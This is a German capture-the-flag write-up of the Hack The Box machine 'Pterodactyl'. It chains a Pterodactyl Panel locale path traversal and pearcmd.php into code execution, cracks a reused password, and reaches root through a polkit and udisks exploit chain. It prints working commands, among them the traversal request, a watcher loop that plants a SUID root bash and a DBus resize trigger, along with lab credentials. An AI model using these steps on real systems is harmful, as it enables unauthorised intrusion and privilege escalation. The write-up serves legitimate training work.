HTB · published
Pterodactyl
Hack The Box Season-10 Writeup zu Pterodactyl. Veröffentlichung folgt, sobald die Maschine retired ist.
Metadaten
- Name: Pterodactyl
- IP Address:
10.129.16.145 - Plattform: Linux, openSUSE Leap 15.6
- Kategorie: Web, Pterodactyl Panel, Linux Privilege Escalation
- Schwierigkeit: Unknown
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Auf Port 80 läuft ein nginx-VHost-Setup mit einer MonitorLand-Seite und einem verwundbaren Pterodactyl Panel. Der Foothold entsteht über CVE-2025-49132 im Locale-Loader, wird durch PEAR-
pearcmd.phpzu RCE erweitert und führt über Datenbank-Credentials zu einem geknackten Benutzerpasswort. Root wird anschließend über die CVE-2025-6018/CVE-2025-6019-Kette gegen Polkit, PAM-Environment und udisks/libblockdev erreicht.
Reconnaissance/ Enumeration
initscan:
nmap -sT -sV -sC -p22,80 -Pn 10.129.16.145
Ergebnis:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
80/tcp open http nginx 1.21.5
HTTP leitete auf http://pterodactyl.htb/ weiter. Da die Box über mehrere Hostnames arbeitete, wurden die Einträge lokal auf die Ziel-IP gemappt:
10.129.16.145 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb
VHost-Fuzzing:
ffuf -u http://10.129.16.145/ -H 'Host: FUZZ.pterodactyl.htb' -w <wordlist>
Gefundene Hosts:
pterodactyl.htb
panel.pterodactyl.htb
play.pterodactyl.htb
servicescan:
pterodactyl.htb: MonitorLand-Webseite.panel.pterodactyl.htb: Pterodactyl Panel.play.pterodactyl.htb: Redirect zur Hauptseite./changelog.txt: Offenlegte Pterodactyl Panelv1.11.10, MariaDB11.8.3und einen temporärenphpinfo.php./phpinfo.php: PHP-FPM8.4.8, keinedisable_functions, keinopen_basedir, PEAR im PHP-include_path.
Die Panel-Version 1.11.10 passte zu CVE-2025-49132. Der Locale-Endpunkt akzeptierte Traversal-Pfade:
curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../config/prologue&namespace=alerts'
Damit war klar, dass lokale PHP-Dateien über den Locale-Loader erreichbar waren.
Exploitation (Foothold)
CVE-2025-49132 erlaubt Path Traversal im Pterodactyl-Locale-Loader. Durch die PHP-Konfiguration war PEAR verfügbar, und pearcmd.php konnte über den verwundbaren Include-Pfad angesprochen werden. Über pearcmd.php wurde eine kleine PHP-Payload geschrieben und anschließend über das Web ausgeführt.
RCE-Kontext:
uid=474(wwwrun) gid=477(www) groups=477(www)
cwd=/var/www/pterodactyl/public
hostname=pterodactyl
Die Datei /var/www/pterodactyl/.env enthielt verwertbare Laravel- und Datenbank-Credentials:
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Mit diesen Credentials konnte die lokale MariaDB-Datenbank panel abgefragt werden. Besonders relevant waren die Tabellen mit Panel-Benutzern, API-Keys und Serverdaten. Die Benutzer-Tabelle enthielt unter anderem headmonitor und phileasfogg3.
Lateral Movement / User Escalation
Aus der Pterodactyl-Datenbank wurde der bcrypt-Hash des Benutzers phileasfogg3 extrahiert. Der Hash konnte mit John geknackt werden:
john --wordlist=<wordlist> panel_bcrypt_hashes.txt
Gefundenes Passwort:
phileasfogg3:!QAZ2wsx
Das Passwort wurde für SSH wiederverwendet:
ssh phileasfogg3@10.129.16.145
Damit war eine stabile interaktive Shell als lokaler Benutzer vorhanden. Die User-Flag lag im Home-Verzeichnis und wurde als Proof gesichert, im Writeup aber geschwärzt.
Privilege Escalation (Root / Domain)
Lokale Enumeration als phileasfogg3 brachte einen Hinweis in /var/spool/mail/phileasfogg3. Die Mail verwies auf ungewöhnliche udisksd-Aktivität. Paket- und Systemprüfung bestätigten einen passenden openSUSE-/udisks-/libblockdev-Pfad.
Relevante Pakete:
udisks2-2.9.2-150400.3.3.1.x86_64
libudisks2-0_btrfs-2.9.2-150400.3.11.1.x86_64
Die Eskalation bestand aus zwei Teilen:
- CVE-2025-6018: PAM-Environment/Polkit-Kontext so beeinflussen, dass die SSH-Sitzung als lokale aktive Session gewertet wird.
- CVE-2025-6019: udisks/libblockdev-Resize-Pfad missbrauchen, um kurzzeitig ein Dateisystem ohne
nosuidim/tmp/blockdev.*-Pfad zu erreichen.
Für CVE-2025-6018 wurde ~/.pam_environment gesetzt:
printf 'XDG_SEAT=seat0\nXDG_VTNR=1\n' > ~/.pam_environment
Ein Stolperstein war eine alte phileasfogg3-Session. Erst nach dem Beenden der stale Session und erneutem SSH-Login enthielt die Session die benötigten Variablen:
XDG_SESSION_ID=182
XDG_SESSION_TYPE=tty
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_VTNR=1
Der Polkit-Check war danach erfolgreich:
pkcheck --action-id org.freedesktop.udisks2.loop-setup --process $$ && echo POLKIT_OK
Für CVE-2025-6019 wurde ein vorbereitetes XFS-Image mit einer SUID-Bash auf das Ziel kopiert und als Loop-Device registriert:
udisksctl loop-setup -f /tmp/xfs.image
Ergebnis:
Mapped file /tmp/xfs.image as /dev/loop0.
Parallel lief ein Watcher, der auf den internen libblockdev-Mount unter /tmp/blockdev.* wartete. Sobald dort die SUID-Bash aus dem Image ausführbar war, wurde eine persistente SUID-root Bash nach /tmp/rootbash kopiert:
while true; do
for d in /tmp/blockdev.*; do
if [ -x "$d/bash" ] && "$d/bash" -p -c 'cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash; echo PWNED' 2>/dev/null; then
exit 0
fi
done
done
Der Resize wurde über DBus ausgelöst:
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Danach existierte /tmp/rootbash mit SUID-root:
-rwsr-xr-x 1 root root 1012656 /tmp/rootbash
Root-Proof:
/tmp/rootbash -p -c 'id; cat /root/root.txt'
Ausgabe ohne Flag:
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
[REDACTED-ROOT-FLAG]
Post-Exploitation
- User Flag:
[REDACTED-USER-FLAG] - Root Flag:
[REDACTED-ROOT-FLAG] - Screenshots: keine verwertbaren Screenshots im Workspace gefunden
- Wichtige Dateien:
reports/final_walkthrough.mdnotes/master_notes.mdtimeline.txtloot/pterodactyl_env.txtloot/panel_users_hashes_tcp.txtloot/user_flag.txtloot/root_flag.txtloot/root_proof.txtloot/wings_config_lfi.jsonloot/polkit_udisks_script_check.txtloot/udisks_loop_setup_success.txtloot/udisks_resize_trigger.txt
- Relevante Logs oder Proofs:
loot/initial_rce_context.txt: RCE alswwwrun.loot/rce_env_db_users.txt: Datenbankzugriff und Benutzerhinweise.loot/panel_users_hashes_tcp.txt: extrahierte Panel-Hashes.loot/fresh_session_polkit_after_pkill.txt: funktionierender Session-Kontext nach Reconnect.loot/root_proof.txt: Root-Proof mit geschwärzter Flag im Bericht.
Alternative Pfade, die geprüft wurden:
- Der Admin-Panel-Zugriff war über temporäres Zurücksetzen des
headmonitor-Hashes möglich. Der Hash wurde danach wiederhergestellt. - Laravel-verschlüsselte API- und Daemon-Tokens waren durch den
APP_KEYentschlüsselbar. - Wings/Docker waren nicht aktiv, daher war der Pterodactyl-Daemon-Pfad nicht der finale Root-Weg.
- Normale udisks-Mounts waren wegen
nosuidnicht ausreichend. Der nutzbare Moment entstand im libblockdev-Resize-Pfad.
Lessons Learned
- Der wichtigste Aha-Moment war, dass CVE-2025-6018 nicht nur
XDG_SEATundXDG_VTNRbraucht. Eine frische, passende logind/PAM-Session mitXDG_SESSION_IDundXDG_RUNTIME_DIRwar entscheidend. - Früher prüfen: Direkt nach SSH-Login
env | grep XDGundloginctl list-sessionskontrollieren, bevor man Polkit-Tests wiederholt. - Technik zum Merken: Pterodactyl
v1.11.10Locale Traversal plus PEARpearcmd.phpist ein sehr starker RCE-Chain, wenn PEAR im Include-Path liegt und PHP-Funktionen nicht eingeschränkt sind. - Für udisks/libblockdev lohnt sich ein kleiner Watcher auf
/tmp/blockdev.*, da das relevante Mount-Fenster kurz ist. - Datenbank-Credentials in
.envsind bei Laravel/Pterodactyl besonders wertvoll, weil sie Benutzer-Hashes, API-Keys, Serverkonfigurationen und oft verschlüsselte Secrets erreichbar machen.
Notizen
-
Route/Tunnel-Probleme am Anfang führten zu widersprüchlichen Scan-Ergebnissen. Der funktionierende Zugriff lief über die richtige HTB-VPN-Route.
-
ffufgegen Hostheader war wichtiger als reine Pfad-Enumeration, weil die interessante Angriffsfläche aufpanel.pterodactyl.htblag. -
Die endgültige Eskalation war nicht im Pterodactyl-Daemon, sondern im lokalen Desktop-/Storage-Stack der openSUSE-Installation.